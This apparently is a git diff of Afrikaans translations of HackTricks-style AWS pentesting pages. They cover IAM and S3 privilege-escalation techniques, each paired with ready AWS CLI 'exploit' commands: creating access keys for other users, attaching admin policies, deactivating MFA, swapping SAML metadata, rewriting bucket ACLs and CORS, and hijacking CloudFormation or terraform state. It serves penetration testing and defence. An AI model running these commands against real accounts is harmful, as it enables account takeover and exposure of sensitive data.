'n aanvaller met die ec2:ModifyImageAttribute en ec2:ModifySnapshotAttribute permissies kan AMIs of snapshots met ander AWS-rekeninge deel (of selfs openbaar maak), wat images of volumes kan blootstel wat sensitiewe data bevat soos konfigurasies, credentials, sertifikate of backups. Deur 'n AMI se launch-permissies of 'n snapshot se create-volume-permissies te wysig, stel die aanvaller derde partye in staat om instances te launch of disks van daardie hulpbronne te mount en toegang tot hul inhoud te kry.
|
||||
|
||||
Om 'n AMI met 'n ander rekening te deel:
|
||||
```bash
|
||||
|
||||
+37
-37
@@ -12,45 +12,45 @@ Vir meer inligting oor IAM, sien:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Gee die vermoë om 'n nuwe IAM-beleidsweergawe te skep, en om die behoefte aan die `iam:SetDefaultPolicyVersion`-toestemming te omseil deur die `--set-as-default` vlag te gebruik. Dit stel jou in staat om pasgemaakte toestemmings te definieer.
|
||||
Gee die vermoë om 'n nuwe IAM-beleidsweergawe te skep, en omseil die behoefte aan die `iam:SetDefaultPolicyVersion` toestemming deur die `--set-as-default` vlag te gebruik. Dit stel jou in staat om aangepaste permissies te definieer.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impak:** Eskaleer direk bevoegdhede deur enige aksie op enige hulpbron toe te laat.
|
||||
**Impact:** Eskaleer bevoegdhede direk deur enige aksie op enige hulpbron toe te laat.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat moontlik bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het.
|
||||
Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat potensieel bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impak:** Indirect privilege escalation by enabling more permissions.
|
||||
**Impak:** Indirekte privilege escalation deur meer permissies moontlik te maak.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Maak dit moontlik om 'n access key ID en secret access key vir 'n ander gebruiker te skep, wat kan lei tot potensiële privilege escalation.
|
||||
Stel in staat om 'n access key ID en secret access key vir 'n ander gebruiker te skep, wat tot moontlike privilege escalation kan lei.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impak:** Direkte privilege escalation deur die aanname van 'n ander gebruiker se uitgebreide permissies.
|
||||
**Impak:** Direkte privilege escalation deur die aanneem van 'n ander gebruiker se uitgebreide permissions.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Laat toe om 'n aanmeldingsprofiel te skep of op te dateer, insluitend die instel van wagwoorde vir AWS console-aanmelding, wat lei tot direkte privilege escalation.
|
||||
Laat toe om 'n login profile te skep of by te werk, insluitend die instel van wagwoorde vir AWS console login, wat tot direkte privilege escalation lei.
|
||||
|
||||
**Exploit vir Skep:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit vir Update:**
|
||||
**Exploit vir Opdatering:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -59,33 +59,33 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Laat toe om 'n gedeaktiveerde access key te aktiveer, wat moontlik tot onbevoegde toegang kan lei as die aanvaller die gedeaktiveerde key in besit het.
|
||||
Laat toe om 'n gedeaktiveerde access key weer te aktiveer, wat moontlik tot ongemagtigde toegang kan lei indien die aanvaller die gedeaktiveerde key besit.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impak:** Direkte privilege escalation deur toegangssleutels te heraktiveer.
|
||||
**Impak:** Direkte privilege escalation deur access keys te heraktiveer.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Maak dit moontlik om inlogbewyse vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of terug te stel, en erf die permissies van die geassosieerde gebruiker.
|
||||
Laat toe om credentials vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of terug te stel, en erf die permissions van die geassosieerde gebruiker.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Exploit vir Terugstel:**
|
||||
**Exploit vir Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impak:** Direkte eskalasie van voorregte binne die gebruiker se dienspermissies.
|
||||
**Impak:** Direkte privilege escalation binne die gebruiker se dienspermissies.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Laat toe om policies aan gebruikers of groepe te heg, wat direk die voorregte verhoog deur die permissies van die gekoppelde policy te erf.
|
||||
Laat toe om policies aan gebruikers of groepe te koppel, directly escalating privileges deur die permissies van die aangehegte policy te erf.
|
||||
|
||||
**Exploit vir Gebruiker:**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,17 +93,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact:** Direkte privilege escalation na enigiets wat deur die beleid verleen word.
|
||||
**Impak:** Direkte privilege-eskalasie na enigiets wat die beleid toelaat.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Laat toe om beleide aan rolle, gebruikers of groepe te koppel of te plaas, en maak direkte privilege escalation moontlik deur bykomende toestemmings toe te ken.
|
||||
Laat toe om beleide aan roles, users of groups aan te heg of te plaas, wat direkte privilege-eskalasie moontlik maak deur addisionele permissies te verleen.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit vir Inline-beleide:**
|
||||
**Exploit vir Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Jy kan ’n beleid soos volg gebruik:
|
||||
Jy kan 'n beleid soos volg gebruik:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,21 +127,21 @@ Jy kan ’n beleid soos volg gebruik:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impak:** Direct privilege escalation deur permissions by te voeg via policies.
|
||||
**Impak:** Direkte privilege escalation deur permissions by te voeg via policies.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Maak dit moontlik om jouself by 'n IAM group te voeg, en privilege escalation te bewerkstellig deur die group se permissions te erf.
|
||||
Laat toe om jouself by 'n IAM group te voeg, escalating privileges deur die group se permissions te erf.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** Direkte privilege escalation na die vlak van die groep se permissions.
|
||||
**Impak:** Direkte voorreg-eskalasie tot die vlak van die groep se regte.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Laat toe om die assume role policy document van 'n rol te wysig, wat die aanname van die rol en sy geassosieerde permissions moontlik maak.
|
||||
Laat toe om die assume role-beleidsdokument van 'n rol te verander, wat die aanname van die rol en die daarmee geassosieerde regte moontlik maak.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -163,38 +163,38 @@ Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Direkte privilege escalation deur die permissies van enige rol aan te neem.
|
||||
**Impak:** Direkte privilege escalation deur die toestemmings van enige rol aan te neem.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Laat toe om 'n SSH publieke sleutel op te laai om by CodeCommit te verifieer en om MFA devices te deaktiveer, wat kan lei tot potensiële indirekte privilege escalation.
|
||||
Laat toe om 'n SSH publieke sleutel op te laai vir autentisering by CodeCommit en om MFA-toestelle te deaktiveer, wat kan lei tot potensiële indirekte privilege escalation.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit vir MFA-deaktivering:**
|
||||
**Exploit vir MFA deaktivering:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impak:** Indirekte privilegie-eskalasie deur CodeCommit-toegang te aktiveer of MFA-beskerming uit te skakel.
|
||||
**Impact:** Indirekte privilege escalation deur toegang tot CodeCommit te aktiveer of MFA-beskerming uit te skakel.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Laat die hersinchronisering van 'n MFA-toestel toe, wat moontlik tot indirekte privilegie-eskalasie kan lei deur MFA-beskerming te manipuleer.
|
||||
Laat toe om 'n MFA-toestel te hersinchroniseer, wat moontlik tot indirekte privilege escalation kan lei deur MFA-beskerming te manipuleer.
|
||||
|
||||
**Bash Command:**
|
||||
**Bash-opdrag:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Indirekte privilege escalation deur MFA devices by te voeg of te manipuleer.
|
||||
**Impact:** Indirect privilege escalation deur byvoeging of manipulering van MFA devices.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Met hierdie toestemmings kan jy **die XML metadata van die SAML-verbinding verander**. Dan kan jy die **SAML federation** misbruik om te **login** met enige **role wat dit vertrou**.
|
||||
Met hierdie permissies kan jy die **XML metadata van die SAML-verbinding verander**. Dan kan jy die **SAML federation** misbruik om met enige **role wat dit vertrou** aan te meld.
|
||||
|
||||
Let wel dat as jy dit doen **sal legitieme gebruikers nie kan login nie**. Jy kan egter die XML kry, joune insit, login en die vorige weer herstel.
|
||||
Neem kennis dat as jy dit doen **sal legitieme gebruikers nie kan aanmeld nie**. Jy kan egter die XML kry, jou eie insit, aanmeld en die vorige weer herstel.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: 'n tool wat die SAML metadata kan genereer en kan aanmeld met 'n gespesifiseerde rol
|
||||
> TODO: 'n hulpmiddel wat SAML metadata kan genereer en kan aanmeld met 'n gespesifiseerde role
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Onseker hieroor) As 'n aanvaller hierdie **toestemmings** het, kan hy 'n nuwe **Thumbprint** byvoeg en sodoende by al die rolle aanmeld wat die provider vertrou.
|
||||
(Onseker hiervan) As 'n aanvaller hierdie **permissions** het, kan hy 'n nuwe **Thumbprint** byvoeg sodat hy by al die roles wat die provider vertrou kan aanmeld.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Hierdie toestemming laat 'n aanvaller toe om die permissions boundary van 'n gebruiker by te werk, en kan moontlik hul bevoegdhede verhoog deur hulle toe te laat om aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk is.
|
||||
Hierdie permission laat 'n attacker toe om die permissions boundary van 'n user by te werk, wat moontlik hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk is.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
’n Akteur met iam:PutRolePermissionsBoundary kan ’n permissions boundary op ’n bestaande role stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die role se boundary verander: hulle kan bedrywighede onvanpas beperk (waardeur diensonderbreking veroorsaak kan word) of, as hulle ’n permissive boundary heg, die rol se bevoegdhede effektief uitbrei en voorregte eskaleer.
|
||||
'n akteur met iam:PutRolePermissionsBoundary kan 'n permissions boundary op 'n bestaande role stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die boundary van 'n role verander: hulle kan bedrywighede onvanpas beperk (wat diensonderbreking veroorsaak) of, as hulle 'n permissive boundary heg, effektief uitbrei wat die role kan doen en escalate privileges.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
+19
-18
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
'n attacker met daardie permissions oor relevante buckets kan dalk hijack resources en escalate privileges.
|
||||
’n aanvaller met daardie toestemmings oor interessante buckets kan hulpbronne kaap en bevoegdhede eskaleer.
|
||||
|
||||
Byvoorbeeld, 'n attacker met daardie **permissions over a cloudformation bucket** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal die deployment kan hijack. Die toegang kan gegee word met die volgende policy:
|
||||
Byvoorbeeld, ’n aanvaller met daardie **toestemmings oor ’n cloudformation bucket** met die naam "cf-templates-nohnwfax6a6i-us-east-1" sal die ontplooiing kan kaap. Die toegang kan gegee word met die volgende beleid:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,29 +34,30 @@ Byvoorbeeld, 'n attacker met daardie **permissions over a cloudformation bucket*
|
||||
]
|
||||
}
|
||||
```
|
||||
En die kaping is moontlik omdat daar 'n **klein tydvenster vanaf die oomblik waarop die template na die bucket opgelaai word** tot by die oomblik waarop die **template gedeploy word**. 'n Aanvaller kan net 'n **lambda function** in sy rekening skep wat **trigger wanneer 'n bucket notification gestuur word**, en die aanval **hijacks** die **content** van daardie **bucket**.
|
||||
En die hijack is moontlik omdat daar 'n **klein tydvenster vanaf die oomblik dat die sjabloon na die bucket opgelaaid word** tot die oomblik dat die **sjabloon gedeploy** word. 'n Aanvaller kan net 'n **lambda function** in sy rekening skep wat sal **trigger wanneer 'n bucket notification gestuur word**, en **hijacks** die **content** van daardie **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\
|
||||
Vir meer inligting kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Dit is die permissies om **objekte te kry en op te laai na S3**. Verskeie dienste binne AWS (en buite dit) gebruik S3-opberging om **konfigurasielêers** te stoor.\
|
||||
'n Aanvaller met **lees-toegang** daartoe kan **sensitiewe inligting** daarin vind.\
|
||||
'n Aanvaller met **skryf-toegang** daartoe kan die data **wysig om 'n diens te misbruik en probeer om privileges te eskaleer**.\
|
||||
Dit is die permissies om **objekte in S3 te kry en op te laai**. Verskeie services binne AWS (en buite dit) gebruik S3-berging om **konfigurasielêers** te stoor.\
|
||||
'n Aanvaller met **lees toegang** tot hulle kan moontlik **sensitiewe inligting** vind.\
|
||||
'n Aanvaller met **skryf toegang** tot hulle kan die **data wysig om 'n service te misbruik en te probeer bevoegdhede eskaleer**.\
|
||||
Hier is 'n paar voorbeelde:
|
||||
|
||||
- As 'n EC2 instance die **user data in 'n S3 bucket** stoor, kan 'n aanvaller dit wysig om **arbitrêre kode binne die EC2 instance uit te voer**.
|
||||
- As 'n EC2 instance die **user data in 'n S3 bucket** stoor, kan 'n aanvaller dit wysig om **willekeurige kode binne die EC2 instance uit te voer**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state-lêers na blob-opberging van cloud-verskaffers gestoor word, bv. AWS S3. Die lêer-uitbreiding vir 'n state-lêer is `.tfstate`, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS rekening een sulke bucket om die state-lêers te stoor wat die status van die rekening wys.
|
||||
Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state-lêers gestoor word in blob-berging van cloud-aanbieders, bv. AWS S3. Die lêerbyvoegsel vir 'n state-lêer is `.tfstate`, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS rekening so 'n bucket om die state-lêers te stoor wat die toestand van die rekening toon.
|
||||
Ook in werklike rekeninge het byna altyd al die ontwikkelaars `s3:*` en soms selfs sakegebruikers `s3:Put*`.
|
||||
|
||||
As jy dus die permissies oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pipeline te kry met die bevoegdhede van `terraform` — meestal `AdministratorAccess`, wat jou die admin van die cloud-rekening maak. Jy kan ook daardie vector gebruik om 'n denial of service-aanval uit te voer deur `terraform` te laat geldige hulpbronne verwyder.
|
||||
As jy dus die permissies oor hierdie lêers het, is daar 'n aanvalvektor wat jou toelaat om RCE in die pipeline te verkry met die voorregte van `terraform` — meestal `AdministratorAccess`, wat jou die admin van die cloud-rekening maak. Jy kan daardie vektor ook gebruik om 'n denial of service-aanval uit te voer deur `terraform` legitime hulpbronne te laat verwyder.
|
||||
|
||||
Volg die beskrywing in die *Abusing Terraform State Files* afdeling van die *Terraform Security* bladsy vir direk bruikbare exploit-kode:
|
||||
Volg die beskrywing in die *Abusing Terraform State Files* afdeling van die *Terraform Security* blad vir direkte bruikbare exploit-kode:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -64,7 +65,7 @@ Volg die beskrywing in die *Abusing Terraform State Files* afdeling van die *Ter
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
'n Aanvaller wat **uit dieselfde rekening** moet wees — indien nie sal die fout `The specified method is not allowed will trigger` voorkom — met hierdie permissie sal homself meer permissies oor die bucket(s) kan verleen, wat hom toelaat om buckets te lees, skryf, wysig, verwyder en bloot te stel.
|
||||
'n Aanvaller wat **uit dieselfde rekening** moet wees — anders sal die fout `The specified method is not allowed` getrigger — met hierdie permissie sal in staat wees om homself meer permissies oor die bucket(s) te gee wat hom toelaat om buckets te lees, skryf, wysig, verwyder en blootstel.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
'n aanvaller kan hierdie permissies misbruik om **hom meer toegang** tot spesifieke buckets te gee.\
|
||||
Let wel dat die aanvaller nie uit dieselfde account hoef te wees nie. Boonop gee die write access
|
||||
An attacker kan hierdie permissies misbruik om **hom meer toegang te gee** tot spesifieke buckets.\
|
||||
Neem kennis dat die attacker nie uit dieselfde account hoef te wees nie. Boonop kan die write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
'n Aanvaller kan hierdie permissies misbruik om vir homself meer toegang tot spesifieke objekte binne buckets te gee.
|
||||
An attacker kan hierdie permissies misbruik om hom meer toegang tot spesifieke objekte binne buckets te gee.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
'n aanvaller met hierdie regte behoort 'n Acl op 'n spesifieke object version te kan plaas
|
||||
Van 'n aanvaller met hierdie voorregte word verwag dat hy 'n Acl op 'n spesifieke objekweergawe kan plaas.
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
'n aanvaller met die s3:PutBucketCORS toestemming kan 'n bucket se CORS (Cross-Origin Resource Sharing) konfigurasie wysig, wat beheer watter webdomeine toegang tot sy endpunte mag hê. As hulle 'n permissiewe beleid instel, kan enige webwerf direkte versoeke na die bucket stuur en antwoorde vanaf 'n blaaier lees.
|
||||
'n aanvaller met die s3:PutBucketCORS-permissie kan 'n bucket se CORS (Cross-Origin Resource Sharing)-konfigurasie wysig, wat beheer watter webdomeine toegang tot sy eindpunte mag kry. As hulle 'n permissiewe beleid instel, kan enige webwerf direkte versoeke na die bucket maak en antwoorde vanaf 'n blaaier lees.
|
||||
|
||||
Dit beteken dat, moontlik, as 'n geverifieerde gebruiker van 'n webapp wat vanaf die bucket gehost word die aanvaller se webwerf besoek, die aanvaller die permissiewe CORS-beleid kan misbruik en, afhangend van die toepassing, toegang tot die gebruiker se profieldata kan kry of selfs die gebruiker se rekening kan kaap.
|
||||
Dit beteken dus dat, moontlik, as 'n geauthentiseerde gebruiker van 'n web app wat vanaf die bucket gehuisves word die aanvaller se webwerf besoek, die aanvaller die permissiewe CORS-beleid kan uitbuit en, afhangende van die toepassing, toegang tot die gebruiker se profieldata kan kry of selfs die gebruiker se rekening kan hijack.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
|
||||
@@ -4,34 +4,29 @@
|
||||
|
||||
## Tipes dienste
|
||||
|
||||
### Kontenerdienste
|
||||
### Kontenaardienste
|
||||
|
||||
Dienste wat onder kontenerdienste val, het die volgende kenmerke:
|
||||
Dienste wat onder kontenaardienste val het die volgende kenmerke:
|
||||
|
||||
- Die diens self hardloop op **afsonderlike infrastruktuur-instansies**, soos EC2.
|
||||
- Die diens self hardloop op **afsonderlike infrastruktuur-instanse**, soos EC2.
|
||||
- **AWS** is verantwoordelik vir **die bestuur van die bedryfstelsel en die platform**.
|
||||
- 'n Bestuurde diens word deur AWS verskaf, wat gewoonlik die diens self is vir die **werklike toepassings wat as kontainers beskou word**.
|
||||
- As 'n gebruiker van hierdie kontenerdienste het jy 'n aantal bestuur- en sekuriteitsverantwoordelikhede, insluitend **die bestuur van netwerktoegangssekuriteit, soos network access control list-reëls en enige firewalls**.
|
||||
- Ook platformvlak identiteit- en toegangsbestuur waar dit bestaan.
|
||||
- **Voorbeelde** van AWS kontenerdienste sluit in Relational Database Service, Elastic Mapreduce, en Elastic Beanstalk.
|
||||
- 'n Bestuurde diens word deur AWS verskaf, wat tipies die diens self is vir die **werklike toepassings wat as kontainers gesien word**.
|
||||
- As 'n gebruiker van hierdie kontenaardienste het jy 'n aantal bestuurs- en sekuriteitsverantwoordelikhede, insluitend **bestuur van netwerktoegang-sekuriteit, soos network access control list reëls en enige firewalls**.
|
||||
- Ook platformvlak identity and access management waar dit bestaan.
|
||||
- **Voorbeelde** van AWS kontenaardienste sluit in Relational Database Service, Elastic Mapreduce, en Elastic Beanstalk.
|
||||
|
||||
### Abstrakte Dienste
|
||||
|
||||
- Hierdie dienste is **verwyder, geabstraheer, van die platform- of bestuurslaag waarop cloud-toepassings gebou word**.
|
||||
- Die dienste word via endpoints bereik met behulp van AWS application programming interfaces, APIs.
|
||||
- Hierdie dienste is **verwyder/geabstraheer van die platform- of bestuurslaag waarop cloud-toepassings gebou word**.
|
||||
- Die dienste word via endpunte benader met AWS toepassingsprogrammeringskoppelvlakke (APIs).
|
||||
- Die **onderliggende infrastruktuur, bedryfstelsel en platform word deur AWS bestuur**.
|
||||
- Die geabstraheerde dienste bied 'n multi-tenancy-platform waarop die onderliggende infrastruktuur gedeel word.
|
||||
- Die geabstraheerde dienste verskaf 'n multi-tenancy-platform waarop die onderliggende infrastruktuur gedeel word.
|
||||
- **Data word geïsoleer deur sekuriteitsmeganismes**.
|
||||
- Abstrakte dienste het 'n sterk integrasie met IAM, en **voorbeelde** van abstrakte dienste sluit in S3, DynamoDB, Amazon Glacier, en SQS.
|
||||
|
||||
## Services Enumeration
|
||||
## Dienste-opsporing
|
||||
|
||||
**Die bladsye in hierdie afdeling is georden volgens AWS service. Daar sal jy inligting oor die diens vind (hoe dit werk en vermoëns) en dit sal jou in staat stel om to escalate privileges.**
|
||||
**Die bladsye in hierdie afdeling is georden per AWS-diens. Daar sal jy inligting oor die diens vind (hoe dit werk en vermoëns) en that will allow you to escalate privileges.**
|
||||
|
||||
### Related: Amazon Bedrock security
|
||||
|
||||
{{#ref}}
|
||||
aws-bedrock-agents-memory-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user